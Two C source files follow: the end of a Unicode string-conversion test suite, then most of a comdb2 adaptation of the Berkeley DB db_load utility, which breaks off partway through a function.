fprintf(stderr, "ConvertFromUnicode failure B: data mismatch\n");
goto fail;
}
printf("Output UTF8 String:\n");
string_hexdump((BYTE*) dst, i + 1);
free(dst);
dst = NULL;
printf("success\n\n");
return TRUE;
fail:
free(dst);
return FALSE;
}
BOOL test_ConvertToUnicode_wrapper()
{
/* 00 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 */
CHAR src1[] = { 'R','I','C','H',' ','T','E','X','T',' ','F','O','R','M','A','T','@','@','@' };
CHAR src2[] = { 'R','I','C','H',' ','T','E','X','T',' ','F','O','R','M','A','T', 0 };
BYTE cmp0[] = "\x52\x00\x49\x00\x43\x00\x48\x00\x20\x00\x54\x00\x45\x00\x58\x00\x54\x00\x20\x00\x46\x00\x4f\x00\x52\x00\x4d\x00\x41\x00\x54\x00\x00\x00";
WCHAR* dst = NULL;
int i;
/* Test unterminated unicode string:
* ConvertToUnicode must always null-terminate, even if the src string isn't
*/
printf("Input UTF8 String:\n");
string_hexdump((BYTE*) src1, 19);
i = ConvertToUnicode(CP_UTF8, 0, src1, 16, &dst, 0);
if (i != 16)
{
fprintf(stderr, "ConvertToUnicode failure A1: unexpectedly returned %d instead of 16\n", i);
goto fail;
}
if (dst == NULL)
{
fprintf(stderr, "ConvertToUnicode failure A2: destination ist NULL\n");
goto fail;
}
if ((i = _wcslen(dst)) != 16)
{
fprintf(stderr, "ConvertToUnicode failure A3: dst length is %d instead of 16\n", i);
goto fail;
}
if (_wcscmp(dst, (WCHAR*)cmp0))
{
fprintf(stderr, "ConvertToUnicode failure A4: data mismatch\n");
goto fail;
}
printf("Output UTF16 String:\n");
string_hexdump((BYTE*) dst, (i + 1) * sizeof(WCHAR));
free(dst);
dst = NULL;
/* Test null-terminated string */
printf("Input UTF8 String:\n");
string_hexdump((BYTE*) src2, strlen(src2) + 1);
i = ConvertToUnicode(CP_UTF8, 0, src2, -1, &dst, 0);
if (i != 17)
{
fprintf(stderr, "ConvertToUnicode failure B1: unexpectedly returned %d instead of 17\n", i);
goto fail;
}
if (dst == NULL)
{
fprintf(stderr, "ConvertToUnicode failure B2: destination ist NULL\n");
goto fail;
}
if ((i = _wcslen(dst)) != 16)
{
fprintf(stderr, "ConvertToUnicode failure B3: dst length is %d instead of 16\n", i);
goto fail;
}
if (_wcscmp(dst, (WCHAR*)cmp0))
{
fprintf(stderr, "ConvertToUnicode failure B: data mismatch\n");
goto fail;
}
printf("Output UTF16 String:\n");
string_hexdump((BYTE*) dst, (i + 1) * 2);
free(dst);
dst = NULL;
printf("success\n\n");
return TRUE;
fail:
free(dst);
return FALSE;
}
int TestUnicodeConversion(int argc, char* argv[])
{
/* Letters */
printf("Letters\n");
if (convert_utf8_to_utf16(c_cedilla_UTF8, c_cedilla_UTF16, c_cedilla_cchWideChar) < 1)
return -1;
if (convert_utf16_to_utf8(c_cedilla_UTF16, c_cedilla_UTF8, c_cedilla_cbMultiByte) < 1)
return -1;
/* English */
printf("English\n");
if (convert_utf8_to_utf16(en_Hello_UTF8, en_Hello_UTF16, en_Hello_cchWideChar) < 1)
return -1;
if (convert_utf8_to_utf16(en_HowAreYou_UTF8, en_HowAreYou_UTF16, en_HowAreYou_cchWideChar) < 1)
return -1;
if (convert_utf16_to_utf8(en_Hello_UTF16, en_Hello_UTF8, en_Hello_cbMultiByte) < 1)
return -1;
if (convert_utf16_to_utf8(en_HowAreYou_UTF16, en_HowAreYou_UTF8, en_HowAreYou_cbMultiByte) < 1)
return -1;
/* French */
printf("French\n");
if (convert_utf8_to_utf16(fr_Hello_UTF8, fr_Hello_UTF16, fr_Hello_cchWideChar) < 1)
return -1;
if (convert_utf8_to_utf16(fr_HowAreYou_UTF8, fr_HowAreYou_UTF16, fr_HowAreYou_cchWideChar) < 1)
return -1;
if (convert_utf16_to_utf8(fr_Hello_UTF16, fr_Hello_UTF8, fr_Hello_cbMultiByte) < 1)
return -1;
if (convert_utf16_to_utf8(fr_HowAreYou_UTF16, fr_HowAreYou_UTF8, fr_HowAreYou_cbMultiByte) < 1)
return -1;
/* Russian */
printf("Russian\n");
if (convert_utf8_to_utf16(ru_Hello_UTF8, ru_Hello_UTF16, ru_Hello_cchWideChar) < 1)
return -1;
if (convert_utf8_to_utf16(ru_HowAreYou_UTF8, ru_HowAreYou_UTF16, ru_HowAreYou_cchWideChar) < 1)
return -1;
if (convert_utf16_to_utf8(ru_Hello_UTF16, ru_Hello_UTF8, ru_Hello_cbMultiByte) < 1)
return -1;
if (convert_utf16_to_utf8(ru_HowAreYou_UTF16, ru_HowAreYou_UTF8, ru_HowAreYou_cbMultiByte) < 1)
return -1;
/* Arabic */
printf("Arabic\n");
if (convert_utf8_to_utf16(ar_Hello_UTF8, ar_Hello_UTF16, ar_Hello_cchWideChar) < 1)
return -1;
if (convert_utf8_to_utf16(ar_HowAreYou_UTF8, ar_HowAreYou_UTF16, ar_HowAreYou_cchWideChar) < 1)
return -1;
if (convert_utf16_to_utf8(ar_Hello_UTF16, ar_Hello_UTF8, ar_Hello_cbMultiByte) < 1)
return -1;
if (convert_utf16_to_utf8(ar_HowAreYou_UTF16, ar_HowAreYou_UTF8, ar_HowAreYou_cbMultiByte) < 1)
return -1;
/* Chinese */
printf("Chinese\n");
if (convert_utf8_to_utf16(ch_Hello_UTF8, ch_Hello_UTF16, ch_Hello_cchWideChar) < 1)
return -1;
if (convert_utf8_to_utf16(ch_HowAreYou_UTF8, ch_HowAreYou_UTF16, ch_HowAreYou_cchWideChar) < 1)
return -1;
if (convert_utf16_to_utf8(ch_Hello_UTF16, ch_Hello_UTF8, ch_Hello_cbMultiByte) < 1)
return -1;
if (convert_utf16_to_utf8(ch_HowAreYou_UTF16, ch_HowAreYou_UTF8, ch_HowAreYou_cbMultiByte) < 1)
return -1;
/* Uppercasing */
printf("Uppercasing\n");
if (!test_unicode_uppercasing(ru_Administrator_lower, ru_Administrator_upper))
return -1;
/* ConvertFromUnicode */
printf("ConvertFromUnicode\n");
if (!test_ConvertFromUnicode_wrapper())
return -1;
/* ConvertToUnicode */
printf("ConvertToUnicode\n");
if (!test_ConvertToUnicode_wrapper())
return -1;
/*
printf("----------------------------------------------------------\n\n");
if (0)
{
BYTE src[] = { 'R',0,'I',0,'C',0,'H',0,' ',0, 'T',0,'E',0,'X',0,'T',0,' ',0,'F',0,'O',0,'R',0,'M',0,'A',0,'T',0,'@',0,'@',0 };
//BYTE src[] = { 'R',0,'I',0,'C',0,'H',0,' ',0, 0,0, 'T',0,'E',0,'X',0,'T',0,' ',0,'F',0,'O',0,'R',0,'M',0,'A',0,'T',0,'@',0,'@',0 };
//BYTE src[] = { 0,0,'R',0,'I',0,'C',0,'H',0,' ',0, 'T',0,'E',0,'X',0,'T',0,' ',0,'F',0,'O',0,'R',0,'M',0,'A',0,'T',0,'@',0,'@',0 };
char* dst = NULL;
int num;
num = ConvertFromUnicode(CP_UTF8, 0, (WCHAR*) src, 16, &dst, 0, NULL, NULL);
printf("ConvertFromUnicode returned %d dst=[%s]\n", num, dst);
string_hexdump((BYTE*)dst, num+1);
}
if (1)
{
char src[] = "RICH TEXT FORMAT@@@@@@";
WCHAR *dst = NULL;
int num;
num = ConvertToUnicode(CP_UTF8, 0, src, 16, &dst, 0);
printf("ConvertToUnicode returned %d dst=%p\n", num, (void*) dst);
string_hexdump((BYTE*)dst, num * 2 + 2);
}
*/
return 0;
}
|
157826.c | /*-
* See the file LICENSE for redistribution information.
*
* Copyright (c) 1996-2003
* Sleepycat Software. All rights reserved.
*/
#include "build/db_config.h"
#if 0
static const char copyright[] =
"Copyright (c) 1996-2003\nSleepycat Software Inc. All rights reserved.\n";
static const char revid[] =
"$Id: db_load.c,v 11.88 2003/10/16 17:51:08 bostic Exp $";
#endif
#ifndef NO_SYSTEM_INCLUDES
#include <sys/types.h>
#include <limits.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#endif
#include "build/db_int.h"
#include "dbinc/db_page.h"
#include "dbinc/db_am.h"
#include <crc32c.h>
#include <locks_wrap.h>
#include <logmsg.h>
#include <mem.h>
typedef struct { /* XXX: Globals. */
const char *progname; /* Program name. */
char *hdrbuf; /* Input file header. */
u_long lineno; /* Input file line number. */
u_long origline; /* Original file line number. */
int endodata; /* Reached the end of a database. */
int endofile; /* Reached the end of the input. */
int version; /* Input version. */
char *home; /* Env home. */
char *passwd; /* Env passwd. */
int private; /* Private env. */
u_int32_t cache; /* Env cache size. */
} LDG;
static void badend __P((DB_ENV *));
static void badnum __P((DB_ENV *));
static int configure __P((DB_ENV *, DB *, char **, char **, int *));
static int convprintable __P((DB_ENV *, char *, char **));
static int db_init (DB_ENV *, char *, u_int32_t, int *);
static int dbt_rdump __P((DB_ENV *, DBT *));
static int dbt_rprint __P((DB_ENV *, DBT *));
static int dbt_rrecno __P((DB_ENV *, DBT *, int));
static int dbt_to_recno __P((DB_ENV *, DBT *, db_recno_t *));
static int digitize __P((DB_ENV *, int, int *));
static int env_create __P((DB_ENV **, LDG *));
static int load __P((DB_ENV *, char *, DBTYPE, char **, u_int, LDG *, int *));
static int rheader __P((DB_ENV *, DB *, DBTYPE *, char **, int *, int *));
static int cdb2_load_usage(void);
static int version_check(const char *);
extern pthread_key_t comdb2_open_key;
#define G(f) ((LDG *)dbenv->app_private)->f
/* Flags to the load function. */
#define LDF_NOHEADER 0x01 /* No dump header. */
#define LDF_NOOVERWRITE 0x02 /* Don't overwrite existing rows. */
#define LDF_PASSWORD 0x04 /* Encrypt created databases. */
int
tool_cdb2_load_main(argc, argv)
int argc;
char *argv[];
{
crc32c_init(0);
comdb2ma_init(0, 0);
io_override_set_std(stdout);
extern char *optarg;
extern int optind;
DBTYPE dbtype;
DB_ENV *dbenv;
LDG ldg;
u_int32_t ldf;
int ch, existed, exitval, ret;
char **clist, **clp;
ldg.progname = "cdb2_load";
ldg.lineno = 0;
ldg.endodata = ldg.endofile = 0;
ldg.version = 1;
ldg.cache = MEGABYTE;
ldg.hdrbuf = NULL;
ldg.home = NULL;
ldg.passwd = NULL;
Pthread_key_create(&comdb2_open_key, NULL);
if ((ret = version_check(ldg.progname)) != 0)
return (ret);
ldf = 0;
exitval = existed = 0;
dbtype = DB_UNKNOWN;
/* Allocate enough room for configuration arguments. */
if ((clp = clist = calloc((size_t)argc + 1, sizeof(char *))) == NULL) {
fprintf(stderr, "%s: %s\n", ldg.progname, strerror(ENOMEM));
return (EXIT_FAILURE);
}
while ((ch = getopt(argc, argv, "c:f:h:nP:Tt:V")) != EOF)
switch (ch) {
case 'c':
*clp++ = optarg;
break;
case 'f':
if (freopen(optarg, "r", stdin) == NULL) {
fprintf(stderr, "%s: %s: reopen: %s\n",
ldg.progname, optarg, strerror(errno));
return (EXIT_FAILURE);
}
break;
case 'h':
ldg.home = optarg;
break;
case 'n':
ldf |= LDF_NOOVERWRITE;
break;
case 'P':
ldg.passwd = strdup(optarg);
memset(optarg, 0, strlen(optarg));
if (ldg.passwd == NULL) {
fprintf(stderr, "%s: strdup: %s\n",
ldg.progname, strerror(errno));
return (EXIT_FAILURE);
}
ldf |= LDF_PASSWORD;
break;
case 'T':
ldf |= LDF_NOHEADER;
break;
case 't':
if (strcmp(optarg, "btree") == 0) {
dbtype = DB_BTREE;
break;
}
if (strcmp(optarg, "hash") == 0) {
dbtype = DB_HASH;
break;
}
if (strcmp(optarg, "recno") == 0) {
dbtype = DB_RECNO;
break;
}
if (strcmp(optarg, "queue") == 0) {
dbtype = DB_QUEUE;
break;
}
return (cdb2_load_usage());
case 'V':
printf("%s\n", db_version(NULL, NULL, NULL));
return (EXIT_SUCCESS);
case '?':
default:
return (cdb2_load_usage());
}
argc -= optind;
argv += optind;
if (argc != 1)
return (cdb2_load_usage());
/* Handle possible interruptions. */
__db_util_siginit();
/*
* Create an environment object initialized for error reporting, and
* then open it.
*/
if (env_create(&dbenv, &ldg) != 0)
goto shutdown;
while (!ldg.endofile)
if (load(dbenv, argv[0], dbtype, clist, ldf,
&ldg, &existed) != 0)
goto shutdown;
if (0) {
shutdown: exitval = 1;
}
if ((ret = dbenv->close(dbenv, 0)) != 0) {
exitval = 1;
fprintf(stderr,
"%s: dbenv->close: %s\n", ldg.progname, db_strerror(ret));
}
/* Resend any caught signal. */
__db_util_sigresend();
free(clist);
if (ldg.passwd != NULL)
free(ldg.passwd);
/*
* Return 0 on success, 1 if keys existed already, and 2 on failure.
*
* Technically, this is wrong, because exit of anything other than
* 0 is implementation-defined by the ANSI C standard. I don't see
* any good solutions that don't involve API changes.
*/
return (exitval == 0 ? (existed == 0 ? 0 : 1) : 2);
}
/*
* load --
* Load a database.
*/
static int
load(dbenv, name, argtype, clist, flags, ldg, existedp)
DB_ENV *dbenv;
char *name, **clist;
DBTYPE argtype;
u_int flags;
LDG *ldg;
int *existedp;
{
DB *dbp;
DBT key, rkey, data, *readp, *writep;
DBTYPE dbtype;
DB_TXN *ctxn, *txn;
db_recno_t recno, datarecno;
u_int32_t put_flags;
int ascii_recno, checkprint, hexkeys, keyflag, keys, resize, ret, rval;
char *subdb;
put_flags = LF_ISSET(LDF_NOOVERWRITE) ? DB_NOOVERWRITE : 0;
G(endodata) = 0;
subdb = NULL;
ctxn = txn = NULL;
memset(&key, 0, sizeof(DBT));
memset(&data, 0, sizeof(DBT));
memset(&rkey, 0, sizeof(DBT));
retry_db:
dbtype = DB_UNKNOWN;
keys = -1;
hexkeys = -1;
keyflag = -1;
/* Create the DB object. */
if ((ret = db_create(&dbp, dbenv, 0)) != 0) {
dbenv->err(dbenv, ret, "db_create");
goto err;
}
/* Read the header -- if there's no header, we expect flat text. */
if (LF_ISSET(LDF_NOHEADER)) {
checkprint = 1;
dbtype = argtype;
} else {
if (rheader(dbenv,
dbp, &dbtype, &subdb, &checkprint, &keys) != 0)
goto err;
if (G(endofile))
goto done;
}
/*
* Apply command-line configuration changes. (We apply command-line
* configuration changes to all databases that are loaded, e.g., all
* subdatabases.)
*/
if (configure(dbenv, dbp, clist, &subdb, &keyflag))
goto err;
if (keys != 1) {
if (keyflag == 1) {
dbp->err(dbp, EINVAL, "No keys specified in file");
goto err;
}
}
else if (keyflag == 0) {
dbp->err(dbp, EINVAL, "Keys specified in file");
goto err;
}
else
keyflag = 1;
if (dbtype == DB_BTREE || dbtype == DB_HASH) {
if (keyflag == 0)
dbp->err(dbp,
EINVAL, "Btree and Hash must specify keys");
else
keyflag = 1;
}
if (argtype != DB_UNKNOWN) {
if (dbtype == DB_RECNO || dbtype == DB_QUEUE)
if (keyflag != 1 && argtype != DB_RECNO &&
argtype != DB_QUEUE) {
dbenv->errx(dbenv,
"improper database type conversion specified");
goto err;
}
dbtype = argtype;
}
if (dbtype == DB_UNKNOWN) {
dbenv->errx(dbenv, "no database type specified");
goto err;
}
if (keyflag == -1)
keyflag = 0;
/*
* Recno keys have only been printed in hexadecimal starting
* with db_dump format version 3 (DB 3.2).
*
* !!!
* Note that version is set in rheader(), which must be called before
* this assignment.
*/
hexkeys = (G(version) >= 3 && keyflag == 1 && checkprint == 0);
if (keyflag == 1 && (dbtype == DB_RECNO || dbtype == DB_QUEUE))
ascii_recno = 1;
else
ascii_recno = 0;
/* If configured with a password, encrypt databases we create. */
if (LF_ISSET(LDF_PASSWORD) &&
(ret = dbp->set_flags(dbp, DB_ENCRYPT)) != 0) {
dbp->err(dbp, ret, "DB->set_flags: DB_ENCRYPT");
goto err;
}
#if 0
Set application-specific btree comparison or hash functions here.
For example:
if ((ret = dbp->set_bt_compare(dbp, local_comparison_func)) != 0) {
dbp->err(dbp, ret, "DB->set_bt_compare");
goto err;
}
if ((ret = dbp->set_h_hash(dbp, local_hash_func)) != 0) {
dbp->err(dbp, ret, "DB->set_h_hash");
goto err;
}
#endif
/* Open the DB file. */
if ((ret = dbp->open(dbp, NULL, name, subdb, dbtype,
DB_CREATE | (TXN_ON(dbenv) ? DB_AUTO_COMMIT : 0),
__db_omode("rwrwrw"))) != 0) {
dbp->err(dbp, ret, "DB->open: %s", name);
goto err;
}
if (ldg->private != 0) {
if ((ret =
__db_util_cache(dbenv, dbp, &ldg->cache, &resize)) != 0)
goto err;
if (resize) {
if ((ret = dbp->close(dbp, 0)) != 0)
goto err;
dbp = NULL;
if ((ret = dbenv->close(dbenv, 0)) != 0)
goto err;
if ((ret = env_create(&dbenv, ldg)) != 0)
goto err;
goto retry_db;
}
}
/* Initialize the key/data pair. */
readp = writep = &key;
if (dbtype == DB_RECNO || dbtype == DB_QUEUE) {
key.size = sizeof(recno);
if (keyflag) {
key.data = &datarecno;
if (checkprint) {
readp = &rkey;
goto key_data;
}
} else
key.data = &recno;
} else
key_data: if ((readp->data = malloc(readp->ulen = 1024)) == NULL) {
dbenv->err(dbenv, ENOMEM, NULL);
goto err;
}
if ((data.data = malloc(data.ulen = 1024)) == NULL) {
dbenv->err(dbenv, ENOMEM, NULL);
goto err;
}
if (TXN_ON(dbenv) &&
(ret = dbenv->txn_begin(dbenv, NULL, &txn, 0)) != 0)
goto err;
/* Get each key/data pair and add them to the database. */
for (recno = 1; !__db_util_interrupted(); ++recno) {
if (!keyflag) {
if (checkprint) {
if (dbt_rprint(dbenv, &data))
goto err;
} else {
if (dbt_rdump(dbenv, &data))
goto err;
}
} else {
if (checkprint) {
if (dbt_rprint(dbenv, readp))
goto err;
if (ascii_recno &&
dbt_to_recno(dbenv, readp, &datarecno) != 0)
goto err;
if (!G(endodata) && dbt_rprint(dbenv, &data))
goto odd_count;
} else {
if (ascii_recno) {
if (dbt_rrecno(dbenv, readp, hexkeys))
goto err;
} else
if (dbt_rdump(dbenv, readp))
goto err;
if (!G(endodata) && dbt_rdump(dbenv, &data)) {
odd_count: dbenv->errx(dbenv,
"odd number of key/data pairs");
goto err;
}
}
}
if (G(endodata))
break;
retry: if (txn != NULL)
if ((ret = dbenv->txn_begin(dbenv, txn, &ctxn, 0)) != 0)
goto err;
switch (ret = dbp->put(dbp, ctxn, writep, &data, put_flags)) {
case 0:
if (ctxn != NULL) {
if ((ret =
ctxn->commit(ctxn, DB_TXN_NOSYNC)) != 0)
goto err;
ctxn = NULL;
}
break;
case DB_KEYEXIST:
*existedp = 1;
dbenv->errx(dbenv,
"%s: line %d: key already exists, not loaded:",
name,
!keyflag ? recno : recno * 2 - 1);
(void)__db_prdbt(&key, checkprint, 0, stderr,
__db_pr_callback, 0, NULL);
break;
case DB_LOCK_DEADLOCK:
/* If we have a child txn, retry--else it's fatal. */
if (ctxn != NULL) {
if ((ret = ctxn->abort(ctxn)) != 0)
goto err;
ctxn = NULL;
goto retry;
}
/* FALLTHROUGH */
default:
dbenv->err(dbenv, ret, NULL);
if (ctxn != NULL) {
(void)ctxn->abort(ctxn);
ctxn = NULL;
}
goto err;
}
if (ctxn != NULL) {
if ((ret = ctxn->abort(ctxn)) != 0)
goto err;
ctxn = NULL;
}
}
done: rval = 0;
DB_ASSERT(ctxn == NULL);
if (txn != NULL && (ret = txn->commit(txn, 0)) != 0) {
txn = NULL;
goto err;
}
if (0) {
err: rval = 1;
DB_ASSERT(ctxn == NULL);
if (txn != NULL)
(void)txn->abort(txn);
}
/* Close the database. */
if (dbp != NULL && (ret = dbp->close(dbp, 0)) != 0) {
dbenv->err(dbenv, ret, "DB->close");
rval = 1;
}
if (G(hdrbuf) != NULL)
free(G(hdrbuf));
G(hdrbuf) = NULL;
/* Free allocated memory. */
if (subdb != NULL)
free(subdb);
if (dbtype != DB_RECNO && dbtype != DB_QUEUE && key.data != NULL)
free(key.data);
if (rkey.data != NULL)
free(rkey.data);
free(data.data);
return (rval);
}
/*
* env_create --
* Create the environment and initialize it for error reporting.
*/
static int
env_create(dbenvp, ldg)
DB_ENV **dbenvp;
LDG *ldg;
{
DB_ENV *dbenv;
int ret;
if ((ret = db_env_create(dbenvp, 0)) != 0) {
fprintf(stderr,
"%s: db_env_create: %s\n", ldg->progname, db_strerror(ret));
return (ret);
}
dbenv = *dbenvp;
dbenv->set_errfile(dbenv, stderr);
dbenv->set_errpfx(dbenv, ldg->progname);
if (ldg->passwd != NULL && (ret = dbenv->set_encrypt(dbenv,
ldg->passwd, DB_ENCRYPT_AES)) != 0) {
dbenv->err(dbenv, ret, "set_passwd");
return (ret);
}
if ((ret = db_init(dbenv, ldg->home, ldg->cache, &ldg->private)) != 0)
return (ret);
dbenv->app_private = ldg;
return (0);
}
/*
* db_init --
* Initialize the environment.
*/
static int
db_init(dbenv, home, cache, is_private)
DB_ENV *dbenv;
char *home;
u_int32_t cache;
int *is_private;
{
u_int32_t flags;
int ret;
*is_private = 0;
/* We may be loading into a live environment. Try and join. */
flags = DB_USE_ENVIRON |
DB_INIT_LOCK | DB_INIT_LOG | DB_INIT_MPOOL | DB_INIT_TXN;
if (dbenv->open(dbenv, home, flags, 0) == 0)
return (0);
/*
* We're trying to load a database.
*
* An environment is required because we may be trying to look at
* databases in directories other than the current one. We could
* avoid using an environment iff the -h option wasn't specified,
* but that seems like more work than it's worth.
*
* No environment exists (or, at least no environment that includes
* an mpool region exists). Create one, but make it private so that
* no files are actually created.
*/
LF_CLR(DB_INIT_LOCK | DB_INIT_LOG | DB_INIT_TXN);
LF_SET(DB_CREATE | DB_PRIVATE);
*is_private = 1;
if ((ret = dbenv->set_cachesize(dbenv, 0, cache, 1)) != 0) {
dbenv->err(dbenv, ret, "set_cachesize");
return (1);
}
if ((ret = dbenv->open(dbenv, home, flags, 0)) == 0)
return (0);
/* An environment is required. */
dbenv->err(dbenv, ret, "DB_ENV->open");
return (1);
}
#define FLAG(name, value, keyword, flag) \
if (strcmp(name, keyword) == 0) { \
switch (*value) { \
case '1': \
if ((ret = dbp->set_flags(dbp, flag)) != 0) { \
dbp->err(dbp, ret, "%s: set_flags: %s", \
G(progname), name); \
return (1); \
} \
break; \
case '0': \
break; \
default: \
badnum(dbenv); \
return (1); \
} \
continue; \
}
#define NUMBER(name, value, keyword, func, t) \
if (strcmp(name, keyword) == 0) { \
if (__db_getlong(dbenv, \
NULL, value, 1, LONG_MAX, &val) != 0) \
return (1); \
if ((ret = dbp->func(dbp, (t)val)) != 0) \
goto nameerr; \
continue; \
}
#define STRING(name, value, keyword, func) \
if (strcmp(name, keyword) == 0) { \
if ((ret = dbp->func(dbp, value[0])) != 0) \
goto nameerr; \
continue; \
}
/*
* configure --
* Handle command-line configuration options.
*/
static int
configure(dbenv, dbp, clp, subdbp, keysp)
DB_ENV *dbenv;
DB *dbp;
char **clp, **subdbp;
int *keysp;
{
long val;
int ret, savech;
char *name, *value;
for (; (name = *clp) != NULL; *--value = savech, ++clp) {
if ((value = strchr(name, '=')) == NULL) {
dbp->errx(dbp,
"command-line configuration uses name=value format");
return (1);
}
savech = *value;
*value++ = '\0';
if (strcmp(name, "database") == 0 ||
strcmp(name, "subdatabase") == 0) {
if (*subdbp != NULL)
free(*subdbp);
if ((*subdbp = strdup(value)) == NULL) {
dbp->err(dbp, ENOMEM, NULL);
return (1);
}
continue;
}
if (strcmp(name, "keys") == 0) {
if (strcmp(value, "1") == 0)
*keysp = 1;
else if (strcmp(value, "0") == 0)
*keysp = 0;
else {
badnum(dbenv);
return (1);
}
continue;
}
#ifdef notyet
NUMBER(name, value, "bt_maxkey", set_bt_maxkey, u_int32_t);
#endif
NUMBER(name, value, "bt_minkey", set_bt_minkey, u_int32_t);
NUMBER(name, value, "db_lorder", set_lorder, int);
NUMBER(name, value, "db_pagesize", set_pagesize, u_int32_t);
FLAG(name, value, "chksum", DB_CHKSUM);
FLAG(name, value, "duplicates", DB_DUP);
FLAG(name, value, "dupsort", DB_DUPSORT);
NUMBER(name, value, "h_ffactor", set_h_ffactor, u_int32_t);
NUMBER(name, value, "h_nelem", set_h_nelem, u_int32_t);
NUMBER(name, value, "re_len", set_re_len, u_int32_t);
STRING(name, value, "re_pad", set_re_pad);
FLAG(name, value, "recnum", DB_RECNUM);
FLAG(name, value, "renumber", DB_RENUMBER);
dbp->errx(dbp,
"unknown command-line configuration keyword \"%s\"", name);
return (1);
}
return (0);
nameerr:
dbp->err(dbp, ret, "%s: %s=%s", G(progname), name, value);
return (1);
}
/*
* rheader --
* Read the header message.
*/
static int
rheader(dbenv, dbp, dbtypep, subdbp, checkprintp, keysp)
DB_ENV *dbenv;
DB *dbp;
DBTYPE *dbtypep;
char **subdbp;
int *checkprintp, *keysp;
{
size_t buflen, linelen, start;
long val;
int ch, first, hdr, ret;
char *buf, *name, *p, *value;
*dbtypep = DB_UNKNOWN;
*checkprintp = 0;
name = p = NULL;
/*
* We start with a smallish buffer; most headers are small.
* We may need to realloc it for a large subdatabase name.
*/
buflen = 4096;
if (G(hdrbuf) == NULL) {
hdr = 0;
if ((buf = malloc(buflen)) == NULL) {
memerr: dbp->errx(dbp, "could not allocate buffer %d", buflen);
return (1);
}
G(hdrbuf) = buf;
G(origline) = G(lineno);
} else {
hdr = 1;
buf = G(hdrbuf);
G(lineno) = G(origline);
}
start = 0;
for (first = 1;; first = 0) {
++G(lineno);
/* Read a line, which may be of arbitrary length, into buf. */
linelen = 0;
buf = &G(hdrbuf)[start];
if (hdr == 0) {
for (;;) {
if ((ch = getchar()) == EOF) {
if (!first || ferror(stdin))
goto badfmt;
G(endofile) = 1;
break;
}
if (ch == '\n')
break;
/*
* If the buffer is too small, double it. The
* +1 is for the nul byte inserted below.
*/
if (linelen + start + 1 == buflen) {
G(hdrbuf) =
realloc(G(hdrbuf), buflen *= 2);
if (G(hdrbuf) == NULL)
goto memerr;
buf = &G(hdrbuf)[start];
}
buf[linelen++] = ch;
}
if (G(endofile) == 1)
break;
buf[linelen++] = '\0';
} else
linelen = strlen(buf) + 1;
start += linelen;
if (name != NULL) {
*p = '=';
free(name);
name = NULL;
}
/* If we don't see the expected information, it's an error. */
if ((name = strdup(buf)) == NULL)
goto memerr;
if ((p = strchr(name, '=')) == NULL)
goto badfmt;
*p++ = '\0';
value = p--;
if (name[0] == '\0' || value[0] == '\0')
goto badfmt;
if (strcmp(name, "HEADER") == 0)
break;
if (strcmp(name, "VERSION") == 0) {
/*
* Version 1 didn't have a "VERSION" header line. We
* only support versions 1, 2, and 3 of the dump format.
*/
G(version) = atoi(value);
if (G(version) > 3) {
dbp->errx(dbp,
"line %lu: VERSION %d is unsupported",
G(lineno), G(version));
goto err;
}
continue;
}
if (strcmp(name, "format") == 0) {
if (strcmp(value, "bytevalue") == 0) {
*checkprintp = 0;
continue;
}
if (strcmp(value, "print") == 0) {
*checkprintp = 1;
continue;
}
goto badfmt;
}
if (strcmp(name, "type") == 0) {
if (strcmp(value, "btree") == 0) {
*dbtypep = DB_BTREE;
continue;
}
if (strcmp(value, "hash") == 0) {
*dbtypep = DB_HASH;
continue;
}
if (strcmp(value, "recno") == 0) {
*dbtypep = DB_RECNO;
continue;
}
if (strcmp(value, "queue") == 0) {
*dbtypep = DB_QUEUE;
continue;
}
dbp->errx(dbp, "line %lu: unknown type", G(lineno));
goto err;
}
if (strcmp(name, "database") == 0 ||
strcmp(name, "subdatabase") == 0) {
if ((ret = convprintable(dbenv, value, subdbp)) != 0) {
dbp->err(dbp, ret, "error reading db name");
goto err;
}
continue;
}
if (strcmp(name, "keys") == 0) {
if (strcmp(value, "1") == 0)
*keysp = 1;
else if (strcmp(value, "0") == 0)
*keysp = 0;
else {
badnum(dbenv);
goto err;
}
continue;
}
#ifdef notyet
NUMBER(name, value, "bt_maxkey", set_bt_maxkey, u_int32_t);
#endif
NUMBER(name, value, "bt_minkey", set_bt_minkey, u_int32_t);
NUMBER(name, value, "db_lorder", set_lorder, int);
NUMBER(name, value, "db_pagesize", set_pagesize, u_int32_t);
NUMBER(name, value, "extentsize", set_q_extentsize, u_int32_t);
FLAG(name, value, "chksum", DB_CHKSUM);
FLAG(name, value, "duplicates", DB_DUP);
FLAG(name, value, "dupsort", DB_DUPSORT);
NUMBER(name, value, "h_ffactor", set_h_ffactor, u_int32_t);
NUMBER(name, value, "h_nelem", set_h_nelem, u_int32_t);
NUMBER(name, value, "re_len", set_re_len, u_int32_t);
STRING(name, value, "re_pad", set_re_pad);
FLAG(name, value, "recnum", DB_RECNUM);
FLAG(name, value, "renumber", DB_RENUMBER);
dbp->errx(dbp,
"unknown input-file header configuration keyword \"%s\"",
name);
goto err;
}
ret = 0;
if (0) {
nameerr: dbp->err(dbp, ret, "%s: %s=%s", G(progname), name, value);
err: ret = 1;
}
if (0) {
badfmt: dbp->errx(dbp, "line %lu: unexpected format", G(lineno));
ret = 1;
}
if (name != NULL) {
if (p != NULL)
*p = '=';
free(name);
}
return (ret);
}
/*
* convprintable --
* Convert a printable-encoded string into a newly allocated string.
*
* In an ideal world, this would probably share code with dbt_rprint, but
* that's set up to read character-by-character (to avoid large memory
* allocations that aren't likely to be a problem here), and this has fewer
* special cases to deal with.
*
* Note that despite the printable encoding, the char * interface to this
* function (which is, not coincidentally, also used for database naming)
* means that outstr cannot contain any nuls.
*/
static int
convprintable(dbenv, instr, outstrp)
DB_ENV *dbenv;
char *instr, **outstrp;
{
char c, *outstr;
int e1, e2;
/*
* Just malloc a string big enough for the whole input string;
* the output string will be smaller (or of equal length).
*/
if ((outstr = malloc(strlen(instr) + 1)) == NULL)
return (ENOMEM);
*outstrp = outstr;
e1 = e2 = 0;
for ( ; *instr != '\0'; instr++)
if (*instr == '\\') {
if (*++instr == '\\') {
*outstr++ = '\\';
continue;
}
c = digitize(dbenv, *instr, &e1) << 4;
c |= digitize(dbenv, *++instr, &e2);
if (e1 || e2) {
badend(dbenv);
return (EINVAL);
}
*outstr++ = c;
} else
*outstr++ = *instr;
*outstr = '\0';
return (0);
}
/*
* dbt_rprint --
* Read a printable line into a DBT structure.
*/
static int
dbt_rprint(dbenv, dbtp)
DB_ENV *dbenv;
DBT *dbtp;
